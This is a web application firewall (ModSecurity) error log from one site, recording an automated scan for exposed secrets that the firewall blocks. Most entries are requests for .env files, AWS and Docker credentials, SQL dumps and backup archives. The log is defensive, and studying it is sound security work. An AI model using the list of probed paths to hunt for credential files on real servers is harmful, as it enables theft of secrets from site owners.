[Sat Dec 06 04:14:49.021882 2025] [:error] [pid 61216:tid 61266] [client 136.116.48.74:51778] [client 136.116.48.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.116.48.74, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTM9OTHlXXVdP5ewviVltQAAAFQ"]
[Sat Dec 06 10:40:17.290122 2025] [:error] [pid 48399:tid 48411] [client 3.129.44.179:35266] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aTOXkejNPOrIshd8Ewd0iQAAAco"]
[Sat Dec 06 10:40:18.112502 2025] [:error] [pid 1838:tid 1857] [client 3.129.44.179:35272] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/error.log"] [unique_id "aTOXki5zgnu67Yo7vrZ6UAAAAos"]
[Sat Dec 06 10:40:21.167914 2025] [:error] [pid 1838:tid 1854] [client 3.129.44.179:35276] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/storage/logs/laravel.log"] [unique_id "aTOXlS5zgnu67Yo7vrZ6VgAAAog"]
[Sat Dec 06 10:40:21.389449 2025] [:error] [pid 1838:tid 1861] [client 3.129.44.179:35276] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/database.sql"] [unique_id "aTOXlS5zgnu67Yo7vrZ6VwAAAo8"]
[Sat Dec 06 10:40:21.597475 2025] [:error] [pid 1838:tid 1853] [client 3.129.44.179:35276] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/backup.sql"] [unique_id "aTOXlS5zgnu67Yo7vrZ6WAAAAoc"]
[Sat Dec 06 10:40:21.817750 2025] [:error] [pid 1838:tid 1855] [client 3.129.44.179:35276] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/debug.log"] [unique_id "aTOXlS5zgnu67Yo7vrZ6WwAAAok"]
[Sat Dec 06 10:40:24.833936 2025] [:error] [pid 61303:tid 61319] [client 3.129.44.179:41408] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/dump.sql"] [unique_id "aTOXmNwK_fe00OH7zy4zlQAAAM0"]
[Sat Dec 06 10:40:25.045028 2025] [:error] [pid 61303:tid 61312] [client 3.129.44.179:41408] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aTOXmdwK_fe00OH7zy4zlwAAAMY"]
[Sat Dec 06 10:40:31.100190 2025] [:error] [pid 52809:tid 52826] [client 3.129.44.179:41424] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aTOXn-rRwgsmpIJQ2qYlhAAAAg8"]
[Sat Dec 06 10:40:34.543454 2025] [:error] [pid 35591:tid 35610] [client 3.129.44.179:41546] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "aTOXoobmw-7bFvTxc9PKLwAAARE"]
[Sat Dec 06 10:40:35.349033 2025] [:error] [pid 61303:tid 61330] [client 3.129.44.179:41550] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/db_backup.sql"] [unique_id "aTOXo9wK_fe00OH7zy4zoQAAANc"]
[Sat Dec 06 10:40:43.394024 2025] [:error] [pid 61217:tid 61289] [client 3.129.44.179:60680] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "aTOXq1dSKQYfLI3fYo4_xQAAAJA"]
[Sat Dec 06 10:40:44.192430 2025] [:error] [pid 48399:tid 48421] [client 3.129.44.179:60696] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.sample"] [unique_id "aTOXrOjNPOrIshd8Ewd0kQAAAdQ"]
[Sat Dec 06 10:40:50.236902 2025] [:error] [pid 1838:tid 1849] [client 3.129.44.179:60730] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "aTOXsi5zgnu67Yo7vrZ6eQAAAoM"]
[Sat Dec 06 10:40:53.697770 2025] [:error] [pid 35622:tid 35671] [client 3.129.44.179:55554] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/_profiler/phpinfo"] [unique_id "aTOXtSOSP_9DVLgFwI56IAAAAZQ"]
[Sat Dec 06 10:40:54.513527 2025] [:error] [pid 52809:tid 52815] [client 3.129.44.179:55560] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docker-compose.yml"] [unique_id "aTOXturRwgsmpIJQ2qYljwAAAgQ"]
[Sat Dec 06 10:40:55.329329 2025] [:error] [pid 52809:tid 52828] [client 3.129.44.179:55568] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws-config.json"] [unique_id "aTOXt-rRwgsmpIJQ2qYlkAAAAhE"]
[Sat Dec 06 10:40:56.121231 2025] [:error] [pid 1838:tid 1865] [client 3.129.44.179:55578] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev.local"] [unique_id "aTOXuC5zgnu67Yo7vrZ6fgAAApM"]
[Sat Dec 06 10:40:58.351800 2025] [:error] [pid 48399:tid 48410] [client 3.129.44.179:55586] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.1"] [unique_id "aTOXuujNPOrIshd8Ewd0mwAAAck"]
[Sat Dec 06 10:40:59.157224 2025] [:error] [pid 35622:tid 35661] [client 3.129.44.179:55598] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "aTOXuyOSP_9DVLgFwI56JQAAAYo"]
[Sat Dec 06 10:40:59.973075 2025] [:error] [pid 61215:tid 61237] [client 3.129.44.179:55600] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "aTOXu-OOZ8nTCBYuI-wCVgAAABI"]
[Sat Dec 06 10:41:00.802991 2025] [:error] [pid 52809:tid 52817] [client 3.129.44.179:55606] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/server.php"] [unique_id "aTOXvOrRwgsmpIJQ2qYllQAAAgY"]
[Sat Dec 06 10:41:01.614136 2025] [:error] [pid 35622:tid 35674] [client 3.129.44.179:55620] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api/v1/config"] [unique_id "aTOXvSOSP_9DVLgFwI56LAAAAZc"]
[Sat Dec 06 10:41:02.429353 2025] [:error] [pid 61217:tid 61282] [client 3.129.44.179:38562] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php_error.log"] [unique_id "aTOXvldSKQYfLI3fYo4_zQAAAIk"]
[Sat Dec 06 10:41:03.249398 2025] [:error] [pid 35591:tid 35612] [client 3.129.44.179:38564] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/etc/local.xml"] [unique_id "aTOXv4bmw-7bFvTxc9PKQQAAARM"]
[Sat Dec 06 10:41:04.089331 2025] [:error] [pid 35622:tid 35657] [client 3.129.44.179:38578] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/configuration.php"] [unique_id "aTOXwCOSP_9DVLgFwI56LgAAAYY"]
[Sat Dec 06 10:41:04.906814 2025] [:error] [pid 48399:tid 48406] [client 3.129.44.179:38590] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sites/default/settings.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sites/default/settings.php"] [unique_id "aTOXwOjNPOrIshd8Ewd0nwAAAcU"]
[Sat Dec 06 10:41:05.723626 2025] [:error] [pid 61216:tid 61266] [client 3.129.44.179:38606] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.DS_Store"] [unique_id "aTOXwTHlXXVdP5ewviWxEQAAAFQ"]
[Sat Dec 06 10:41:06.538330 2025] [:error] [pid 61215:tid 61240] [client 3.129.44.179:38612] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.zip"] [unique_id "aTOXwuOOZ8nTCBYuI-wCXQAAABU"]
[Sat Dec 06 10:41:07.348731 2025] [:error] [pid 35622:tid 35665] [client 3.129.44.179:38614] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.txt"] [unique_id "aTOXwyOSP_9DVLgFwI56MAAAAY4"]
[Sat Dec 06 10:41:08.151878 2025] [:error] [pid 61215:tid 61239] [client 3.129.44.179:38620] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws.json"] [unique_id "aTOXxOOOZ8nTCBYuI-wCXwAAABQ"]
[Sat Dec 06 10:41:08.961787 2025] [:error] [pid 48399:tid 48407] [client 3.129.44.179:38636] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.aws/credentials"] [unique_id "aTOXxOjNPOrIshd8Ewd0pgAAAcY"]
[Sat Dec 06 10:41:09.742247 2025] [:error] [pid 61217:tid 61288] [client 3.129.44.179:38644] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "aTOXxVdSKQYfLI3fYo4_0gAAAI8"]
[Sat Dec 06 10:41:10.552896 2025] [:error] [pid 35591:tid 35596] [client 3.129.44.179:38646] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i.php"] [unique_id "aTOXxobmw-7bFvTxc9PKSQAAAQM"]
[Sat Dec 06 10:41:11.338290 2025] [:error] [pid 61217:tid 61294] [client 3.129.44.179:38648] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php.php"] [unique_id "aTOXx1dSKQYfLI3fYo4_1AAAAJU"]
[Sat Dec 06 10:41:12.144327 2025] [:error] [pid 1838:tid 1861] [client 3.129.44.179:59436] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/errors.log"] [unique_id "aTOXyC5zgnu67Yo7vrZ6hgAAAo8"]
[Sat Dec 06 10:41:12.958282 2025] [:error] [pid 61216:tid 61269] [client 3.129.44.179:59452] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app/etc/env.php"] [unique_id "aTOXyDHlXXVdP5ewviWxFgAAAFc"]
[Sat Dec 06 10:41:13.754798 2025] [:error] [pid 61303:tid 61327] [client 3.129.44.179:59464] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/logs/application.log"] [unique_id "aTOXydwK_fe00OH7zy4zuAAAANQ"]
[Sat Dec 06 10:41:14.555114 2025] [:error] [pid 35622:tid 35660] [client 3.129.44.179:59466] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app/logs/dev.log"] [unique_id "aTOXyiOSP_9DVLgFwI56NgAAAYk"]
[Sat Dec 06 10:41:15.339053 2025] [:error] [pid 1838:tid 1848] [client 3.129.44.179:59482] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app/logs/prod.log"] [unique_id "aTOXyy5zgnu67Yo7vrZ6igAAAoI"]
[Sat Dec 06 10:41:16.132263 2025] [:error] [pid 61303:tid 61312] [client 3.129.44.179:59494] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Thumbs.db"] [unique_id "aTOXzNwK_fe00OH7zy4zugAAAMY"]
[Sat Dec 06 10:41:16.946677 2025] [:error] [pid 1727:tid 1741] [client 3.129.44.179:59502] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/site-backup.zip"] [unique_id "aTOXzMD83luYT37-ZaW8zgAAAkw"]
[Sat Dec 06 10:41:17.750964 2025] [:error] [pid 61217:tid 61297] [client 3.129.44.179:59516] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/backup.tar.gz"] [unique_id "aTOXzVdSKQYfLI3fYo4_2gAAAJg"]
[Sat Dec 06 10:41:18.568069 2025] [:error] [pid 1727:tid 1738] [client 3.129.44.179:59518] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k8s-config.yml"] [unique_id "aTOXzsD83luYT37-ZaW81AAAAkk"]
[Sat Dec 06 10:41:19.408392 2025] [:error] [pid 35622:tid 35651] [client 3.129.44.179:59532] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kubernetes.yml"] [unique_id "aTOXzyOSP_9DVLgFwI56OQAAAYA"]
[Sat Dec 06 10:41:20.240981 2025] [:error] [pid 35591:tid 35597] [client 3.129.44.179:59540] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.dockerignore"] [unique_id "aTOX0Ibmw-7bFvTxc9PKTwAAAQQ"]
[Sat Dec 06 10:41:21.047254 2025] [:error] [pid 61215:tid 61225] [client 3.129.44.179:59546] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.docker/config.json"] [unique_id "aTOX0eOOZ8nTCBYuI-wCawAAAAY"]
[Sat Dec 06 10:41:21.849356 2025] [:error] [pid 1727:tid 1743] [client 3.129.44.179:33342] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.dockerenv"] [unique_id "aTOX0cD83luYT37-ZaW82QAAAk4"]
[Sat Dec 06 10:41:22.666522 2025] [:error] [pid 1727:tid 1747] [client 3.129.44.179:33358] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docker-compose.override.yml"] [unique_id "aTOX0sD83luYT37-ZaW83QAAAlI"]
[Sat Dec 06 10:41:23.518262 2025] [:error] [pid 52809:tid 52824] [client 3.129.44.179:33362] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docker-compose.yaml"] [unique_id "aTOX0-rRwgsmpIJQ2qYlogAAAg0"]
[Sat Dec 06 10:41:24.336302 2025] [:error] [pid 1727:tid 1739] [client 3.129.44.179:33370] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/security.txt"] [unique_id "aTOX1MD83luYT37-ZaW84gAAAko"]
[Sat Dec 06 10:41:25.174543 2025] [:error] [pid 61216:tid 61251] [client 3.129.44.179:33386] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api/v2/config"] [unique_id "aTOX1THlXXVdP5ewviWxHwAAAEU"]
[Sat Dec 06 10:41:26.002994 2025] [:error] [pid 61216:tid 61254] [client 3.129.44.179:33398] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.secrets"] [unique_id "aTOX1jHlXXVdP5ewviWxIgAAAEg"]
[Sat Dec 06 10:41:26.828463 2025] [:error] [pid 61216:tid 61250] [client 3.129.44.179:33400] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oauth.json"] [unique_id "aTOX1jHlXXVdP5ewviWxJAAAAEQ"]
